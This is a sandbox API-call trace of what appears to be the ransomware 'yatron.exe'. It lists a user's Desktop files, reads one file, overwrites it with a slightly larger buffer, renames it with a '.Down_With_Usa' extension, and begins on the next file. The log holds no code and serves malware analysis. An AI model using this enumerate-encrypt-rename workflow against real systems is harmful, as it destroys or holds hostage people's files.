[0111.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0111.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0111.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4b1e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x4b1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0111.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4b1e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x4b1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x8645d910, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x1370b, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf", cAlternateFileName="14TWDP~1.SWF")) returned 1
[0111.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0xca23aac0, ftLastWriteTime.dwHighDateTime=0x1d5db1c, nFileSizeHigh=0x0, nFileSizeLow=0xdb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv", cAlternateFileName="1G_JOP~1.MKV")) returned 1
[0111.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x90a8d300, ftLastWriteTime.dwHighDateTime=0x1d5e72f, nFileSizeHigh=0x0, nFileSizeLow=0x81cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg", cAlternateFileName="2SPXR1~1.JPG")) returned 1
[0111.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0xba234f20, ftLastWriteTime.dwHighDateTime=0x1d5dcc2, nFileSizeHigh=0x0, nFileSizeLow=0xb2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi", cAlternateFileName="3KX2W5~1.AVI")) returned 1
[0111.442] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0xeb6eb640, ftLastWriteTime.dwHighDateTime=0x1d5e29a, nFileSizeHigh=0x0, nFileSizeLow=0x4c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp", cAlternateFileName="CIBVWT~1.ODP")) returned 1
[0111.442] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0xa4f39ad0, ftLastWriteTime.dwHighDateTime=0x1d5e58f, nFileSizeHigh=0x0, nFileSizeLow=0x15195, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3", cAlternateFileName="")) returned 1
[0111.442] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0111.442] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0xce0d62f0, ftLastWriteTime.dwHighDateTime=0x1d5e1bd, nFileSizeHigh=0x0, nFileSizeLow=0x537d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi", cAlternateFileName="DHM_7Q~1.AVI")) returned 1
[0111.442] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0111.443] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0xac901d80, ftLastWriteTime.dwHighDateTime=0x1d5dca8, nFileSizeHigh=0x0, nFileSizeLow=0x1880d, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf", cAlternateFileName="ELQ1CN~1.PDF")) returned 1
[0111.443] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x4d61fd80, ftLastWriteTime.dwHighDateTime=0x1d5da3f, nFileSizeHigh=0x0, nFileSizeLow=0x13151, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf", cAlternateFileName="ERNNOU~1.RTF")) returned 1
[0111.443] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0xcfb8c700, ftLastWriteTime.dwHighDateTime=0x1d5df62, nFileSizeHigh=0x0, nFileSizeLow=0x126ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt", cAlternateFileName="")) returned 1
[0111.443] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0111.443] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0111.444] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x7a3aef50, ftLastWriteTime.dwHighDateTime=0x1d5db35, nFileSizeHigh=0x0, nFileSizeLow=0x11721, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4", cAlternateFileName="M6PR0C~1.MP4")) returned 1
[0111.444] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0xa66b1f20, ftLastWriteTime.dwHighDateTime=0x1d5e45c, nFileSizeHigh=0x0, nFileSizeLow=0x3cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv", cAlternateFileName="MLH-EH~1.FLV")) returned 1
[0111.444] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0xe086a800, ftLastWriteTime.dwHighDateTime=0x1d5db9c, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg", cAlternateFileName="N4T6ID~1.JPG")) returned 1
[0111.444] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x3cea9da0, ftLastWriteTime.dwHighDateTime=0x1d5e6dc, nFileSizeHigh=0x0, nFileSizeLow=0x1387d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4", cAlternateFileName="PCGD4V~1.MP4")) returned 1
[0111.444] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x9eaf8e50, ftLastWriteTime.dwHighDateTime=0x1d5dff3, nFileSizeHigh=0x0, nFileSizeLow=0x1678d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png", cAlternateFileName="PTUBNM~1.PNG")) returned 1
[0111.445] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0xac65ecd0, ftLastWriteTime.dwHighDateTime=0x1d5e064, nFileSizeHigh=0x0, nFileSizeLow=0x2403, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif", cAlternateFileName="")) returned 1
[0111.445] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x113284d0, ftLastWriteTime.dwHighDateTime=0x1d5dd85, nFileSizeHigh=0x0, nFileSizeLow=0x35ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp", cAlternateFileName="RWBOTM~1.BMP")) returned 1
[0111.445] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x2cb950e0, ftLastWriteTime.dwHighDateTime=0x1d5da32, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg", cAlternateFileName="UNNNOA~1.JPG")) returned 1
[0111.445] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xc8194570, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0xba8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp", cAlternateFileName="")) returned 1
[0111.445] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0xf225bed0, ftLastWriteTime.dwHighDateTime=0x1d5db0f, nFileSizeHigh=0x0, nFileSizeLow=0x87a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv", cAlternateFileName="")) returned 1
[0111.446] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0111.446] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0xb263bf50, ftLastWriteTime.dwHighDateTime=0x1d5e220, nFileSizeHigh=0x0, nFileSizeLow=0xe060, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi", cAlternateFileName="")) returned 1
[0111.446] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x7578e420, ftLastWriteTime.dwHighDateTime=0x1d5db19, nFileSizeHigh=0x0, nFileSizeLow=0x17ef9, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg", cAlternateFileName="ZFO2RX~1.JPG")) returned 1
[0111.446] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x7578e420, ftLastWriteTime.dwHighDateTime=0x1d5db19, nFileSizeHigh=0x0, nFileSizeLow=0x17ef9, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg", cAlternateFileName="ZFO2RX~1.JPG")) returned 0
[0111.446] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0111.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0111.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0111.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", lpFilePart=0x0) returned 0x3d
[0111.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0111.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\14twdpt60izplxo82s4.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364
[0111.479] GetFileType (hFile=0x364) returned 0x1
[0111.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0111.479] GetFileType (hFile=0x364) returned 0x1
[0111.479] GetFileSize (in: hFile=0x364, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1370b
[0111.480] ReadFile (in: hFile=0x364, lpBuffer=0x2664c28, nNumberOfBytesToRead=0x1370b, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2664c28*, lpNumberOfBytesRead=0x2ebe58*=0x1370b, lpOverlapped=0x0) returned 1
[0111.481] CloseHandle (hObject=0x364) returned 1
[0111.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2eb6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45
[0111.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x2eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45
[0111.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebc80) returned 1
[0111.497] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2ebd60 | out: lpFileInformation=0x2ebd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279e2c00, ftCreationTime.dwHighDateTime=0x1cd5cf6, ftLastAccessTime.dwLowDateTime=0xcf7c84e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x279e2c00, ftLastWriteTime.dwHighDateTime=0x1cd5cf6, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
[0111.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebc40) returned 1
[0111.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", lpFilePart=0x0) returned 0x3d
[0111.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0111.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\14twdpt60izplxo82s4.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.745] GetFileType (hFile=0x3a0) returned 0x1
[0111.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0111.746] GetFileType (hFile=0x3a0) returned 0x1
[0111.746] WriteFile (in: hFile=0x3a0, lpBuffer=0x27be5a8*, nNumberOfBytesToWrite=0x13710, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x27be5a8*, lpNumberOfBytesWritten=0x2ebec8*=0x13710, lpOverlapped=0x0) returned 1
[0111.748] CloseHandle (hObject=0x3a0) returned 1
[0111.754] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf", lpFilePart=0x0) returned 0x3d
[0111.754] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0111.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0111.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\14twdpt60izplxo82s4.swf"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710)) returned 1
[0111.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0111.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\14twdpt60izplxo82s4.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\14twdpt60izplxo82s4.swf.down_with_usa")) returned 1
[0111.759] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", lpFilePart=0x0) returned 0x3a
[0111.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0111.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g_jopnk9w7txvet.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.760] GetFileType (hFile=0x3a0) returned 0x1
[0111.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0111.760] GetFileType (hFile=0x3a0) returned 0x1
[0111.760] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xdb04
[0111.760] ReadFile (in: hFile=0x3a0, lpBuffer=0x27d2290, nNumberOfBytesToRead=0xdb04, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27d2290*, lpNumberOfBytesRead=0x2ebe58*=0xdb04, lpOverlapped=0x0) returned 1
[0111.762] CloseHandle (hObject=0x3a0) returned 1
